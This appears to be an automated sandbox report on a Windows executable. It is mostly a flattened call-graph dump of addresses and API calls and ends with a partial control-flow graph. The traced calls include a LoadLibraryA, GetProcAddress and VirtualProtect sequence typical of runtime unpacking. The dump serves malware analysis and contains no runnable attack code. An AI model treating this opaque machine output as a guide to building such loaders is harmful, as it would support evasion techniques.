69971->69959 70039 7ff79d055820 137 API calls 69972->70039 69974 7ff79d059400 2 API calls 69973->69974 69976 7ff79d05648a GetLastError 69974->69976 70038 7ff79d052c50 51 API calls _log10_special 69976->70038 70040 7ff79d0553f0 69978->70040 69980 7ff79d056516 69981 7ff79d05651e 69980->69981 69982 7ff79d05652f 69980->69982 70065 7ff79d052710 54 API calls _log10_special 69981->70065 70047 7ff79d054c80 69982->70047 69986 7ff79d05653b 70066 7ff79d052710 54 API calls _log10_special 69986->70066 69987 7ff79d05654c 69990 7ff79d05655c 69987->69990 69992 7ff79d05656d 69987->69992 69989 7ff79d05652a 69989->69814 70067 7ff79d052710 54 API calls _log10_special 69990->70067 69993 7ff79d05658c 69992->69993 69994 7ff79d05659d 69992->69994 70068 7ff79d052710 54 API calls _log10_special 69993->70068 69996 7ff79d0565ac 69994->69996 69997 7ff79d0565bd 69994->69997 70069 7ff79d052710 54 API calls _log10_special 69996->70069 70051 7ff79d054d40 69997->70051 70001 7ff79d0565cc 70070 7ff79d052710 54 API calls _log10_special 70001->70070 70002 7ff79d0565dd 70004 7ff79d0565ec 70002->70004 70005 7ff79d0565fd 70002->70005 70071 7ff79d052710 54 API calls _log10_special 70004->70071 70007 7ff79d05660f 70005->70007 70009 7ff79d056620 70005->70009 70072 7ff79d052710 54 API calls _log10_special 70007->70072 70012 7ff79d05664a 70009->70012 70073 7ff79d067320 73 API calls 70009->70073 70011 7ff79d056638 70074 7ff79d067320 73 API calls 70011->70074 70012->69989 70075 7ff79d052710 54 API calls _log10_special 70012->70075 70016 7ff79d056060 70015->70016 70016->70016 70017 7ff79d056089 70016->70017 70023 7ff79d0560a0 __vcrt_freefls 70016->70023 70107 7ff79d052710 54 API calls _log10_special 70017->70107 70019 7ff79d056095 70019->69816 70020 7ff79d0561ab 70020->69816 70022 7ff79d052710 54 API calls 70022->70023 70023->70020 70023->70022 70077 7ff79d051470 70023->70077 70024->69818 70026 7ff79d05455a 70025->70026 70027 7ff79d059400 2 API calls 70026->70027 70028 7ff79d05457f 70027->70028 70029 7ff79d05c5c0 _log10_special 8 API calls 70028->70029 70030 7ff79d0545a7 70029->70030 70030->69961 70030->69963 70032 7ff79d059400 2 API calls 70031->70032 70033 7ff79d059084 LoadLibraryExW 70032->70033 70034 7ff79d0590a3 __vcrt_freefls 70033->70034 70034->69970 70035->69971 70036->69956 70037->69971 70038->69971 70039->69971 70042 7ff79d05541c 70040->70042 70041 7ff79d055424 70041->69980 70042->70041 70045 7ff79d0555c4 70042->70045 70076 7ff79d066b14 48 API calls 70042->70076 70043 7ff79d055787 __vcrt_freefls 70043->69980 70044 7ff79d0547c0 47 API calls 70044->70045 70045->70043 70045->70044 70048 7ff79d054cb0 70047->70048 70049 7ff79d05c5c0 _log10_special 8 API calls 70048->70049 70050 7ff79d054d1a 70049->70050 70050->69986 70050->69987 70052 7ff79d054d55 70051->70052 70053 7ff79d051c80 49 API calls 70052->70053 70054 7ff79d054da1 70053->70054 70055 7ff79d051c80 49 API calls 70054->70055 70064 7ff79d054e23 __vcrt_freefls 70054->70064 70056 7ff79d054de0 70055->70056 70059 7ff79d059400 2 API calls 70056->70059 70056->70064 70057 7ff79d05c5c0 _log10_special 8 API calls 70058 7ff79d054e6e 70057->70058 70058->70001 70058->70002 70060 7ff79d054df6 70059->70060 70061 7ff79d059400 2 API calls 70060->70061 70062 7ff79d054e0d 70061->70062 70063 7ff79d059400 2 API calls 70062->70063 70063->70064 70064->70057 70065->69989 70066->69989 70067->69989 70068->69989 70069->69989 70070->69989 70071->69989 70072->69989 70073->70011 70074->70012 70075->69989 70076->70042 70078 7ff79d0545b0 108 API calls 70077->70078 70079 7ff79d051493 70078->70079 70080 7ff79d05149b 70079->70080 70081 7ff79d0514bc 70079->70081 70130 7ff79d052710 54 API calls _log10_special 70080->70130 70082 7ff79d060744 73 API calls 70081->70082 70085 7ff79d0514d1 70082->70085 70084 7ff79d0514ab 70084->70023 70086 7ff79d0514d5 70085->70086 70089 7ff79d0514f8 70085->70089 70131 7ff79d064f78 11 API calls memcpy_s 70086->70131 70088 7ff79d0514da 70132 7ff79d052910 54 API calls _log10_special 70088->70132 70091 7ff79d051508 70089->70091 70092 7ff79d051532 70089->70092 70133 7ff79d064f78 11 API calls memcpy_s 70091->70133 70093 7ff79d051538 70092->70093 70102 7ff79d05154b 70092->70102 70108 7ff79d051210 70093->70108 70096 7ff79d051510 70134 7ff79d052910 54 API calls _log10_special 70096->70134 70097 7ff79d0600bc 74 API calls 70100 7ff79d0515c4 70097->70100 70098 7ff79d0514f3 __vcrt_freefls 70098->70097 70100->70023 70101 7ff79d06040c _fread_nolock 53 API calls 70101->70102 70102->70098 70102->70101 70103 7ff79d0515d6 70102->70103 70135 7ff79d064f78 11 API calls memcpy_s 70103->70135 70105 7ff79d0515db 70136 7ff79d052910 54 API calls _log10_special 70105->70136 70107->70019 70109 7ff79d051268 70108->70109 70110 7ff79d051297 70109->70110 70111 7ff79d05126f 70109->70111 70114 7ff79d0512d4 70110->70114 70115 7ff79d0512b1 70110->70115 70141 7ff79d052710 54 API calls _log10_special 70111->70141 70113 7ff79d051282 70113->70098 70118 7ff79d0512e6 70114->70118 70128 7ff79d051309 memcpy_s 70114->70128 70142 7ff79d064f78 11 API calls memcpy_s 70115->70142 70117 7ff79d0512b6 70143 7ff79d052910 54 API calls _log10_special 70117->70143 70144 7ff79d064f78 11 API calls memcpy_s 70118->70144 70121 7ff79d0512eb 70145 7ff79d052910 54 API calls _log10_special 70121->70145 70122 7ff79d06040c _fread_nolock 53 API calls 70122->70128 70124 7ff79d0512cf __vcrt_freefls 70124->70098 70125 7ff79d0513cf 70146 7ff79d052710 54 API calls _log10_special 70125->70146 70128->70122 70128->70124 70128->70125 70129 7ff79d060180 37 API calls 70128->70129 70137 7ff79d060b4c 70128->70137 70129->70128 70130->70084 70131->70088 70132->70098 70133->70096 70134->70098 70135->70105 70136->70098 70138 7ff79d060b7c 70137->70138 70147 7ff79d06089c 70138->70147 70140 7ff79d060b9a 70140->70128 70141->70113 70142->70117 70143->70124 70144->70121 70145->70124 70146->70124 70148 7ff79d0608bc 70147->70148 70153 7ff79d0608e9 70147->70153 70149 7ff79d0608c6 70148->70149 70150 7ff79d0608f1 70148->70150 70148->70153 70161 7ff79d06a884 37 API calls 2 library calls 70149->70161 70154 7ff79d0607dc 70150->70154 70153->70140 70162 7ff79d0654dc EnterCriticalSection 70154->70162 70156 7ff79d0607f9 70157 7ff79d06081c 74 API calls 70156->70157 70158 7ff79d060802 70157->70158 70159 7ff79d0654e8 _fread_nolock LeaveCriticalSection 70158->70159 70160 7ff79d06080d 70159->70160 70160->70153 70161->70153 70164 7ff79d064a4e 70163->70164 70165 7ff79d064a73 70164->70165 70167 7ff79d064aaf 70164->70167 70181 7ff79d06a884 37 API calls 2 library calls 70165->70181 70182 7ff79d062c80 49 API calls _invalid_parameter_noinfo 70167->70182 70169 7ff79d064a9d 70171 7ff79d05c5c0 _log10_special 8 API calls 70169->70171 70170 7ff79d064b8c 70185 7ff79d06a9b8 11 API calls 2 library calls 70170->70185 70173 7ff79d051cc8 70171->70173 70173->69583 70174 7ff79d064b46 70174->70170 70175 7ff79d064b61 70174->70175 70176 7ff79d064bb0 70174->70176 70178 7ff79d064b58 70174->70178 70183 7ff79d06a9b8 11 API calls 2 library calls 70175->70183 70176->70170 70179 7ff79d064bba 70176->70179 70178->70170 70178->70175 70184 7ff79d06a9b8 11 API calls 2 library calls 70179->70184 70181->70169 70182->70174 70183->70169 70184->70169 70185->70169 70187 7ff79d065f38 70186->70187 70188 7ff79d065f5e 70187->70188 70191 7ff79d065f91 70187->70191 70217 7ff79d064f78 11 API calls memcpy_s 70188->70217 70190 7ff79d065f63 70218 7ff79d06a950 37 API calls _invalid_parameter_noinfo 70190->70218 70193 7ff79d065f97 70191->70193 70194 7ff79d065fa4 70191->70194 70219 7ff79d064f78 11 API calls memcpy_s 70193->70219 70205 7ff79d06ac98 70194->70205 70195 7ff79d054606 70195->69832 70199 7ff79d065fb8 70220 7ff79d064f78 11 API calls memcpy_s 70199->70220 70200 7ff79d065fc5 70212 7ff79d06ff3c 70200->70212 70203 7ff79d065fd8 70221 7ff79d0654e8 LeaveCriticalSection 70203->70221 70222 7ff79d070348 EnterCriticalSection 70205->70222 70207 7ff79d06acaf 70208 7ff79d06ad0c 19 API calls 70207->70208 70209 7ff79d06acba 70208->70209 70210 7ff79d0703a8 _isindst LeaveCriticalSection 70209->70210 70211 7ff79d065fae 70210->70211 70211->70199 70211->70200 70223 7ff79d06fc38 70212->70223 70215 7ff79d06ff96 70215->70203 70217->70190 70218->70195 70219->70195 70220->70195 70228 7ff79d06fc73 __vcrt_InitializeCriticalSectionEx 70223->70228 70224 7ff79d06fe3a 70229 7ff79d06fe43 70224->70229 70241 7ff79d064f78 11 API calls memcpy_s 70224->70241 70226 7ff79d06ff11 70242 7ff79d06a950 37 API calls _invalid_parameter_noinfo 70226->70242 70228->70224 70238 7ff79d067aac 51 API calls 3 library calls 70228->70238 70229->70215 70235 7ff79d076dc4 70229->70235 70231 7ff79d06fea5 70231->70224 70239 7ff79d067aac 51 API calls 3 library calls 70231->70239 70233 7ff79d06fec4 70233->70224 70240 7ff79d067aac 51 API calls 3 library calls 70233->70240 70243 7ff79d0763c4 70235->70243 70238->70231 70239->70233 70240->70224 70241->70226 70242->70229 70244 7ff79d0763db 70243->70244 70245 7ff79d0763f9 70243->70245 70297 7ff79d064f78 11 API calls memcpy_s 70244->70297 70245->70244 70247 7ff79d076415 70245->70247 70254 7ff79d0769d4 70247->70254 70248 7ff79d0763e0 70298 7ff79d06a950 37 API calls _invalid_parameter_noinfo 70248->70298 70252 7ff79d0763ec 70252->70215 70300 7ff79d076708 70254->70300 70257 7ff79d076a49 70332 7ff79d064f58 11 API calls memcpy_s 70257->70332 70258 7ff79d076a61 70320 7ff79d068590 70258->70320 70261 7ff79d076a4e 70333 7ff79d064f78 11 API calls memcpy_s 70261->70333 70289 7ff79d076440 70289->70252 70299 7ff79d068568 LeaveCriticalSection 70289->70299 70297->70248 70298->70252 70301 7ff79d076734 70300->70301 70308 7ff79d07674e 70300->70308 70301->70308 70345 7ff79d064f78 11 API calls memcpy_s 70301->70345 70303 7ff79d076743 70346 7ff79d06a950 37 API calls _invalid_parameter_noinfo 70303->70346 70305 7ff79d07681d 70316 7ff79d07687a 70305->70316 70351 7ff79d069be8 37 API calls 2 library calls 70305->70351 70306 7ff79d0767cc 70306->70305 70349 7ff79d064f78 11 API calls memcpy_s 70306->70349 70308->70306 70347 7ff79d064f78 11 API calls memcpy_s 70308->70347 70310 7ff79d076876 70313 7ff79d0768f8 70310->70313 70310->70316 70312 7ff79d076812 70350 7ff79d06a950 37 API calls _invalid_parameter_noinfo 70312->70350 70352 7ff79d06a970 17 API calls _isindst 70313->70352 70314 7ff79d0767c1 70348 7ff79d06a950 37 API calls _invalid_parameter_noinfo 70314->70348 70316->70257 70316->70258 70353 7ff79d070348 EnterCriticalSection 70320->70353 70332->70261 70333->70289 70345->70303 70346->70308 70347->70314 70348->70306 70349->70312 70350->70305 70351->70310 70355 7ff79d067968 70354->70355 70358 7ff79d067444 70355->70358 70357 7ff79d067981 70357->69842 70359 7ff79d06748e 70358->70359 70360 7ff79d06745f 70358->70360 70368 7ff79d0654dc EnterCriticalSection 70359->70368 70369 7ff79d06a884 37 API calls 2 library calls 70360->70369 70363 7ff79d067493 70365 7ff79d0674b0 38 API calls 70363->70365 70364 7ff79d06747f 70364->70357 70366 7ff79d06749f 70365->70366 70367 7ff79d0654e8 _fread_nolock LeaveCriticalSection 70366->70367 70367->70364 70369->70364 70371 7ff79d05feb3 70370->70371 70373 7ff79d05fee1 70370->70373 70381 7ff79d06a884 37 API calls 2 library calls 70371->70381 70374 7ff79d05fed3 70373->70374 70380 7ff79d0654dc EnterCriticalSection 70373->70380 70374->69846 70376 7ff79d05fef8 70377 7ff79d05ff14 72 API calls 70376->70377 70378 7ff79d05ff04 70377->70378 70379 7ff79d0654e8 _fread_nolock LeaveCriticalSection 70378->70379 70379->70374 70381->70374 70382->69863 70580 7ffd94130d10 70581 7ffd94130d3c 70580->70581 70582 7ffd94130d41 70580->70582 70593 7ffd94154960 70581->70593 70584 7ffd94130e44 70582->70584 70589 7ffd94130e31 70582->70589 70591 7ffd94130e48 70582->70591 70597 7ffd9416e170 00007FFDA4173010 new[] 70582->70597 70585 7ffd94130ea0 70584->70585 70586 7ffd94130e8a 70584->70586 70584->70591 70600 7ffd940da500 6 API calls 70585->70600 70599 7ffd940da500 6 API calls 70586->70599 70589->70584 70598 7ffd9416ffc0 11 API calls new[] 70589->70598 70594 7ffd94154979 70593->70594 70596 7ffd94154985 70593->70596 70601 7ffd94154890 70594->70601 70596->70582 70597->70589 70598->70584 70599->70591 70600->70591 70602 7ffd941548ca 70601->70602 70604 7ffd941548da 70601->70604 70607 7ffd941543d0 70602->70607 70605 7ffd9415492d 70604->70605 70606 7ffd941543d0 34 API calls 70604->70606 70605->70596 70606->70604 70627 7ffd941540d0 70607->70627 70609 7ffd941544ba 70612 7ffd94202900 4 API calls 70609->70612 70610 7ffd9415448c 70610->70609 70614 7ffd940f3790 14 API calls 70610->70614 70617 7ffd94154578 70610->70617 70623 7ffd9415455e 70610->70623 70613 7ffd9415487b 70612->70613 70613->70604 70615 7ffd94154514 70614->70615 70616 7ffd9415451a 70615->70616 70615->70617 70618 7ffd9415454f 00007FFDA4173010 70616->70618 70616->70623 70617->70623 70653 7ffd940d9170 6 API calls 70617->70653 70618->70623 70620 7ffd9415477b 70654 7ffd9414cf30 32 API calls new[] 70620->70654 70622 7ffd941547a7 70624 7ffd941547d5 70622->70624 70655 7ffd9412e490 33 API calls 70622->70655 70623->70609 70657 7ffd94131280 IsProcessorFeaturePresent RtlCaptureContext RtlLookupFunctionEntry RtlVirtualUnwind 70623->70657 70624->70623 70656 7ffd94131310 IsProcessorFeaturePresent RtlCaptureContext RtlLookupFunctionEntry RtlVirtualUnwind 70624->70656 70628 7ffd941540f2 70627->70628 70629 7ffd94154384 70627->70629 70630 7ffd94154113 70628->70630 70631 7ffd941540fb 70628->70631 70629->70610 70636 7ffd94154152 70630->70636 70641 7ffd94154303 70630->70641 70658 7ffd94153fc0 6 API calls 70631->70658 70633 7ffd94154106 70633->70610 70635 7ffd941541a4 70638 7ffd94154c70 29 API calls 70635->70638 70636->70635 70659 7ffd94153fc0 6 API calls 70636->70659 70648 7ffd941541e2 70638->70648 70639 7ffd94154258 70661 7ffd940d9340 6 API calls 70639->70661 70641->70629 70665 7ffd94153fc0 6 API calls 70641->70665 70642 7ffd9415420b 70642->70629 70642->70639 70645 7ffd941542a2 70642->70645 70643 7ffd94154269 70662 7ffd940d9340 6 API calls 70643->70662 70663 7ffd94105950 27 API calls 70645->70663 70647 7ffd94154293 70647->70610 70648->70642 70660 7ffd94153fc0 6 API calls 70648->70660 70650 7ffd941542ce 70664 7ffd941922e0 17 API calls 70650->70664 70652 7ffd941542f4 70652->70610 70653->70620 70654->70622 70655->70624 70656->70623 70657->70609 70658->70633 70659->70635 70660->70642 70661->70643 70662->70647 70663->70650 70664->70652 70665->70629 70666 7ff79d065698 70667 7ff79d0656cf 70666->70667 70668 7ff79d0656b2 70666->70668 70667->70668 70670 7ff79d0656e2 CreateFileW 70667->70670 70691 7ff79d064f58 11 API calls memcpy_s 70668->70691 70672 7ff79d06574c 70670->70672 70673 7ff79d065716 70670->70673 70671 7ff79d0656b7 70692 7ff79d064f78 11 API calls memcpy_s 70671->70692 70695 7ff79d065c74 46 API calls 3 library calls 70672->70695 70694 7ff79d0657ec 59 API calls 3 library calls 70673->70694 70677 7ff79d065724 70680 7ff79d06572b CloseHandle 70677->70680 70681 7ff79d065741 CloseHandle 70677->70681 70678 7ff79d065751 70682 7ff79d065755 70678->70682 70683 7ff79d065780 70678->70683 70679 7ff79d0656bf 70693 7ff79d06a950 37 API calls _invalid_parameter_noinfo 70679->70693 70685 7ff79d0656ca 70680->70685 70681->70685 70696 7ff79d064eec 11 API calls 2 library calls 70682->70696 70697 7ff79d065a34 51 API calls 70683->70697 70688 7ff79d06578d 70698 7ff79d065b70 21 API calls _fread_nolock 70688->70698 70690 7ff79d06575f 70690->70685 70691->70671 70692->70679 70693->70685 70694->70677 70695->70678 70696->70690 70697->70688 70698->70690 70384 7ffd94155220 70385 7ffd941552ae 70384->70385 70387 7ffd94155258 70384->70387 70386 7ffd941552d0 70385->70386 70385->70387 70388 7ffd94155270 70386->70388 70389 7ffd941552d5 70386->70389 70424 7ffd940d9340 6 API calls 70387->70424 70425 7ffd940d9340 6 API calls 70388->70425 70394 7ffd941553cd 70389->70394 70396 7ffd94154c70 70389->70396 70426 7ffd9413b040 IsProcessorFeaturePresent RtlCaptureContext RtlLookupFunctionEntry RtlVirtualUnwind 70389->70426 70392 7ffd9415529a 70397 7ffd94154ce4 70396->70397 70398 7ffd94154d5f 70397->70398 70400 7ffd94154d7d 70397->70400 70439 7ffd940da500 6 API calls 70398->70439 70403 7ffd94154e77 70400->70403 70415 7ffd94154e52 70400->70415 70401 7ffd94154f3b 70427 7ffd9418fc80 70401->70427 70403->70401 70404 7ffd94154eaa 70403->70404 70405 7ffd94154eb3 70404->70405 70409 7ffd94154edb 70404->70409 70441 7ffd940da370 9 API calls 70405->70441 70407 7ffd94155207 70407->70389 70411 7ffd94154ef4 00007FFDA4173010 70409->70411 70413 7ffd94154f14 70409->70413 70410 7ffd94154fce 70412 7ffd94155125 70410->70412 70449 7ffd941059e0 27 API calls 70410->70449 70414 7ffd9418fc80 6 API calls 70411->70414 70419 7ffd94154d70 70412->70419 70450 7ffd940da370 9 API calls 70412->70450 70420 7ffd94154fa5 00007FFDA4173010 70413->70420 70422 7ffd94154fba 70413->70422 70414->70413 70440 7ffd940da370 9 API calls 70415->70440 70451 7ffd94202900 70419->70451 70420->70422 70422->70410 70422->70419 70442 7ffd940f3790 70422->70442 70448 7ffd94131280 IsProcessorFeaturePresent RtlCaptureContext RtlLookupFunctionEntry RtlVirtualUnwind 70422->70448 70424->70388 70425->70392 70426->70389 70437 7ffd9418fcd1 70427->70437 70429 7ffd941900f0 70470 7ffd940d9340 6 API calls 70429->70470 70431 7ffd94190099 70468 7ffd940da500 6 API calls 70431->70468 70433 7ffd9418ffde 70433->70429 70438 7ffd9419010d 70433->70438 70469 7ffd940d9170 6 API calls 70433->70469 70435 7ffd94202900 4 API calls 70436 7ffd94190250 70435->70436 70436->70413 70437->70431 70437->70433 70458 7ffd9418f0f0 70437->70458 70438->70435 70439->70419 70440->70419 70441->70419 70444 7ffd940f37c7 70442->70444 70446 7ffd940f3829 70444->70446 70474 7ffd940f3370 70444->70474 70483 7ffd940f36c0 6 API calls 70444->70483 70484 7ffd940e7270 14 API calls 70444->70484 70446->70422 70448->70422 70449->70412 70450->70419 70452 7ffd94202909 70451->70452 70453 7ffd94202914 70452->70453 70454 7ffd94202954 IsProcessorFeaturePresent 70452->70454 70453->70407 70455 7ffd9420296c 70454->70455 70531 7ffd94202b4c RtlCaptureContext RtlLookupFunctionEntry RtlVirtualUnwind 70455->70531 70457 7ffd9420297f 70457->70407 70461 7ffd9418f133 70458->70461 70459 7ffd9418f20b 70467 7ffd9418f229 70459->70467 70471 7ffd9418c2c0 6 API calls 70459->70471 70460 7ffd9418f24d 70463 7ffd9418f280 70460->70463 70464 7ffd9418f293 70460->70464 70460->70467 70461->70459 70461->70460 70472 7ffd940da500 6 API calls 70463->70472 70473 7ffd940da500 6 API calls 70464->70473 70467->70437 70468->70433 70469->70429 70470->70438 70471->70467 70472->70467 70473->70467 70485 7ffd940e9d00 70474->70485 70477 7ffd940f355d 70480 7ffd940f34a4 70477->70480 70505 7ffd940e7270 14 API calls 70477->70505 70478 7ffd940f33a2 70478->70477 70478->70480 70504 7ffd94195aa0 6 API calls 70478->70504 70480->70444 70483->70444 70484->70444 70490 7ffd940e9dc1 70485->70490 70491 7ffd940e9d30 70485->70491 70486 7ffd94202900 4 API calls 70487 7ffd940ea0b9 70486->70487 70487->70480 70493 7ffd940ea0d0 70487->70493 70488 7ffd940e9e82 70488->70490 70507 7ffd940e7c90 7 API calls 70488->70507 70490->70486 70491->70488 70491->70490 70506 7ffd94195ae0 6 API calls 70491->70506 70494 7ffd940ea0f2 70493->70494 70500 7ffd940ea125 70493->70500 70514 7ffd940d9340 6 API calls 70494->70514 70497 7ffd940ea248 70515 7ffd940d9340 6 API calls 70497->70515 70499 7ffd940ea2a0 70503 7ffd940ea15d 70499->70503 70508 7ffd940e8050 70499->70508 70500->70497 70500->70499 70502 7ffd940ea11e 70500->70502 70500->70503 70502->70478 70503->70502 70516 7ffd940e7270 14 API calls 70503->70516 70504->70477 70505->70480 70506->70488 70507->70490 70509 7ffd940e808c 70508->70509 70510 7ffd940e807f 70508->70510 70512 7ffd940e809c 70509->70512 70517 7ffd940dd9e0 70509->70517 70528 7ffd940eefb0 6 API calls 70510->70528 70512->70503 70514->70502 70515->70503 70516->70502 70518 7ffd940dda5a 70517->70518 70519 7ffd940dda0d 70517->70519 70520 7ffd940dda83 ReadFile 70518->70520 70523 7ffd940ddb19 70518->70523 70525 7ffd940ddaf3 70518->70525 70521 7ffd940dda43 00007FFDA4173010 70519->70521 70522 7ffd940dda23 00007FFDA4173010 70519->70522 70520->70518 70520->70523 70521->70518 70527 7ffd940dda28 70522->70527 70523->70527 70530 7ffd940d9340 6 API calls 70523->70530 70529 7ffd940dd810 10 API calls 70525->70529 70527->70512 70528->70509 70529->70527 70530->70527 70531->70457 70699 7ffd94099060 70703 7ffd94099c01 70699->70703 70707 7ffd94099078 70699->70707 70700 7ffd94099b0e LoadLibraryA 70701 7ffd94099b28 70700->70701 70705 7ffd94099b47 GetProcAddress 70701->70705 70701->70707 70703->70703 70704 7ffd94099b69 VirtualProtect VirtualProtect 70704->70703 70705->70701 70706 7ffd94099b5e 70705->70706 70707->70700 70707->70704 70708 7ffd939a0350 70709 7ffd939a0f30 70708->70709 70712 7ffd939a0368 70708->70712 70710 7ffd939a0e53 LoadLibraryA 70711 7ffd939a0e6d 70710->70711 70711->70712 70714 7ffd939a0e76 GetProcAddress 70711->70714 70712->70710 70715 7ffd939a0ea2 VirtualProtect VirtualProtect 70712->70715 70714->70711 70716 7ffd939a0e97 70714->70716 70715->70709 70717 7ffda359ef30 70718 7ffda3591325 70717->70718 70719 7ffda359ef50 SetLastError 70718->70719 70720 7ffda359ef70 70719->70720 70532 7ffd940f2250 70537 7ffd940f22ab new[] 70532->70537 70533 7ffd94202900 4 API calls 70534 7ffd940f23e1 70533->70534 70535 7ffd940f2408 new[] 70538 7ffd940f23c4 70535->70538 70542 7ffd940f26de 70535->70542 70544 7ffd940e92b0 70535->70544 70537->70535 70537->70538 70539 7ffd940f23fd 00007FFDA4173010 70537->70539 70538->70533 70539->70535 70540 7ffd940f2665 70540->70542 70543 7ffd940dd9e0 13 API calls 70540->70543 70542->70538 70558 7ffd940e8a10 14 API calls 70542->70558 70543->70542 70545 7ffd940e9335 70544->70545 70554 7ffd940e948d new[] 70544->70554 70547 7ffd940e934e new[] 70545->70547 70545->70554 70546 7ffd940e9390 new[] 70549 7ffd940e9455 00007FFDA4173010 70546->70549 70553 7ffd940e9679 70546->70553 70556 7ffd940e95c2 70546->70556 70548 7ffd940e9375 00007FFDA4173010 70547->70548 70547->70556 70548->70546 70550 7ffd940e962b 70549->70550 70551 7ffd940e9477 00007FFDA4173010 70549->70551 70552 7ffd940e962e 00007FFDA4173010 00007FFDA4173010 70550->70552 70551->70552 70552->70553 70553->70556 70559 7ffd940dffd0 70553->70559 70554->70546 70554->70554 70554->70556 70572 7ffd94195ae0 6 API calls 70554->70572 70556->70540 70558->70538 70566 7ffd940e0021 70559->70566 70561 7ffd94202900 4 API calls 70562 7ffd940e0647 70561->70562 70562->70556 70563 7ffd940e01f0 CreateFileW 70563->70566 70566->70563 70567 7ffd940e0475 70566->70567 70569 7ffd940e03a8 70566->70569 70573 7ffd940dfa10 12 API calls new[] 70566->70573 70574 7ffd940e0800 10 API calls 70566->70574 70575 7ffd940d9340 6 API calls 70566->70575 70576 7ffd940dd810 10 API calls 70567->70576 70569->70561 70570 7ffd940e04a0 70577 7ffd94195ae0 6 API calls 70570->70577 70572->70546 70573->70566 70574->70566 70575->70566 70576->70570 70577->70569 70730 7ff79d052fe0 70731 7ff79d052ff0 70730->70731 70732 7ff79d05302b 70731->70732 70733 7ff79d053041 70731->70733 70758 7ff79d052710 54 API calls _log10_special 70732->70758 70735 7ff79d053061 70733->70735 70745 7ff79d053077 __vcrt_freefls 70733->70745 70759 7ff79d052710 54 API calls _log10_special 70735->70759 70737 7ff79d05c5c0 _log10_special 8 API calls 70738 7ff79d0531fa 70737->70738 70739 7ff79d051470 116 API calls 70739->70745 70740 7ff79d053349 70766 7ff79d052710 54 API calls _log10_special 70740->70766 70741 7ff79d051c80 49 API calls 70741->70745 70743 7ff79d053333 70765 7ff79d052710 54 API calls _log10_special 70743->70765 70745->70739 70745->70740 70745->70741 70745->70743 70746 7ff79d05330d 70745->70746 70748 7ff79d053207 70745->70748 70757 7ff79d053037 __vcrt_freefls 70745->70757 70764 7ff79d052710 54 API calls _log10_special 70746->70764 70749 7ff79d053273 70748->70749 70760 7ff79d06a474 37 API calls 2 library calls 70748->70760 70751 7ff79d05329e 70749->70751 70752 7ff79d053290 70749->70752 70762 7ff79d052dd0 37 API calls 70751->70762 70761 7ff79d06a474 37 API calls 2 library calls 70752->70761 70755 7ff79d05329c 70763 7ff79d052500 54 API calls __vcrt_freefls 70755->70763 70757->70737 70758->70757 70759->70757 70760->70749 70761->70755 70762->70755 70763->70757 70764->70757 70765->70757 70766->70757 70578 7ffd940e1230 GetSystemInfo 70579 7ffd940e1264 70578->70579

                                                                                                                                                                                                                                          Executed Functions

                                                                                                                                                                                                                                          Function 00007FF79D051000 Relevance: 61.8, APIs: 7, Strings: 28, Instructions: 509COMMON
                                                                                                                                                                                                                                          Download Yara Rule

                                                                                                                                                                                                                                          Control-flow Graph

                                                                                                                                                                                                                                          • Executed
                                                                                                                                                                                                                                          • Not Executed
                                                                                                                                                                                                                                          control_flow_graph 0 7ff79d051000-7ff79d053806 call 7ff79d05fe88 call 7ff79d05fe90 call 7ff79d05c8c0 call 7ff79d065460 call 7ff79d0654f4 call 7ff79d0536b0 14 7ff79d053808-7ff79d05380f 0->14 15 7ff79d053814-7ff79d053836 call 7ff79d051950 0->15 16 7ff79d053c97-7ff79d053cb2 call 7ff79d05c5c0 14->16 21 7ff79d05391b-7ff79d053931 call 7ff79d0545b0 15->21 22 7ff79d05383c-7ff79d053856 call 7ff79d051c80 15->22 27 7ff79d05396a-7ff79d05397f call 7ff79d052710 21->27 28 7ff79d053933-7ff79d053960 call 7ff79d057f80 21->28 26 7ff79d05385b-7ff79d05389b call 7ff79d058a20 22->26 35 7ff79d05389d-7ff79d0538a3 26->35 36 7ff79d0538c1-7ff79d0538cc call 7ff79d064fa0 26->36 40 7ff79d053c8f 27->40 38 7ff79d053984-7ff79d0539a6 call 7ff79d051c80 28->38 39 7ff79d053962-7ff79d053965 call 7ff79d0600bc 28->39 41 7ff79d0538a5-7ff79d0538ad 35->41 42 7ff79d0538af-7ff79d0538bd call 7ff79d058b90 35->42 48 7ff79d0539fc-7ff79d053a2a call 7ff79d058b30 call 7ff79d058b90 * 3 36->48 49 7ff79d0538d2-7ff79d0538e1 call 7ff79d058a20 36->49 53 7ff79d0539b0-7ff79d0539b9 38->53 39->27 40->16 41->42 42->36 76 7ff79d053a2f-7ff79d053a3e call 7ff79d058a20 48->76 58 7ff79d0538e7-7ff79d0538ed 49->58 59 7ff79d0539f4-7ff79d0539f7 call 7ff79d064fa0 49->59 53->53 56 7ff79d0539bb-7ff79d0539d8 call 7ff79d051950 53->56 56->26 65 7ff79d0539de-7ff79d0539ef call 7ff79d052710 56->65 63 7ff79d0538f0-7ff79d0538fc 58->63 59->48 66 7ff79d0538fe-7ff79d053903 63->66 67 7ff79d053905-7ff79d053908 63->67 65->40 66->63 66->67 67->59 70 7ff79d05390e-7ff79d053916 call 7ff79d064fa0 67->70 70->76 79 7ff79d053a44-7ff79d053a47 76->79 80 7ff79d053b45-7ff79d053b53 76->80 79->80 81 7ff79d053a4d-7ff79d053a50 79->81 82 7ff79d053a67 80->82 83 7ff79d053b59-7ff79d053b5d 80->83 84 7ff79d053b14-7ff79d053b17 81->84 85 7ff79d053a56-7ff79d053a5a 81->85 86 7ff79d053a6b-7ff79d053a90 call 7ff79d064fa0 82->86 83->86 88 7ff79d053b19-7ff79d053b1d 84->88 89 7ff79d053b2f-7ff79d053b40 call 7ff79d052710 84->89 85->84 87 7ff79d053a60 85->87 95 7ff79d053aab-7ff79d053ac0 86->95 96 7ff79d053a92-7ff79d053aa6 call 7ff79d058b30 86->96 87->82 88->89 91 7ff79d053b1f-7ff79d053b2a 88->91 97 7ff79d053c7f-7ff79d053c87 89->97 91->86 99 7ff79d053be8-7ff79d053bfa call 7ff79d058a20 95->99 100 7ff79d053ac6-7ff79d053aca 95->100 96->95 97->40 109 7ff79d053bfc-7ff79d053c02 99->109 110 7ff79d053c2e 99->110 102 7ff79d053bcd-7ff79d053be2 call 7ff79d051940 100->102 103 7ff79d053ad0-7ff79d053ae8 call 7ff79d0652c0 100->103 102->99 102->100 113 7ff79d053aea-7ff79d053b02 call 7ff79d0652c0 103->113 114 7ff79d053b62-7ff79d053b7a call 7ff79d0652c0 103->114 111 7ff79d053c1e-7ff79d053c2c 109->111 112 7ff79d053c04-7ff79d053c1c 109->112 115 7ff79d053c31-7ff79d053c40 call 7ff79d064fa0 110->115 111->115 